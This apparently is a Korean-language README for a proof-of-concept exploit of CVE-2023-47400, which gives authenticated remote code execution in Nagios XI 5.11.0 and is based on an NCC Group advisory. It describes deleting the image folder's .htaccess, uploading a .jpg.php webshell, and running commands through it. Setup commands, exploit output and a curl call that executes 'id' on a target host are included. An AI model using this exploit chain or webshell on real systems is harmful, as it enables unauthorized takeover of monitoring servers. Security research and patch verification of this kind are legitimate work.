
CVE-2023-47400에 대한 개념 증명
CVE-2023-47400에 대한 PoC
Nagios XI 5.11.0에서 임의 파일 쓰기를 통한 인증된 PHP 원격 코드 실행
[!Note] 이 PoC는 NCC 그룹이 공개한 기술 권고를 기반으로 합니다. https://research.nccgroup.com/2023/12/13/technical-advisory-multiple-vulnerabilities-in-nagios-xi/
이 PoC는 다음 과정을 따릅니다:
placeholder.jpg라는 유효한 이미지를 업로드합니다 (JFIF 매직 바이트 헤더만 있고 내용은 없음)rename 기능을 사용하여 이미지를 .htaccess로 이름을 변경합니다 (기존 .htaccess 파일을 덮어쓰는 효과가 있음)delete 기능을 사용하여 .htaccess 파일을 삭제합니다.jpg.php 이중 확장자를 통해 이미지 서명을 위장)이 취약점을 악용하면 nagiosXI 호스트에서 원격 코드 실행이 가능해지며, 파일 업로드 필터(파일 서명 및 파일 확장자 필터)와 PHP 실행 방지(.htaccess)를 우회합니다.
[!Warning] 이 익스플로잇은 PHP 코드 실행을 허용하기 위해 호스트에 존재하는
<NAGIOS_WEB_ROOT>/includes/components/custom-includes/images/.htaccess파일을 삭제합니다!
# create a venv to dependency isolation
python3 -m venv .venv
source .venv/bin/activate
# run pip install before running the exploit
pip install -r requirements.txt
이미지 업로드 폴더에 드롭할 PHP 페이로드를 사용자 지정합니다
익스플로잇 스크립트를 실행합니다:
python exploit.py
# the exploit generates a webshell and upload it with uuid as filename
[...]
INFO:cve_2023_47400:Successfuly uploaded payload at
INFO:cve_2023_47400:Usage :https://10.10.11.248/nagiosxi/includes/components/custom-includes/images/6ac234ca-8921-4e7e-a833-bf1ba03d2a3c.jpg.php
INFO:cve_2023_47400:Exploit completed successfuly
$ curl -k 'https://10.10.11.248/nagiosxi/includes/components/custom-includes/images/6ac234ca-8921-4e7e-a833-bf1ba03d2a3c.jpg.php?cmd=id' --output -
JFIF
uid=33(www-data) gid=33(www-data) groups=33(www-data),121(Debian-snmp),1001(nagios),1002(nagcmd)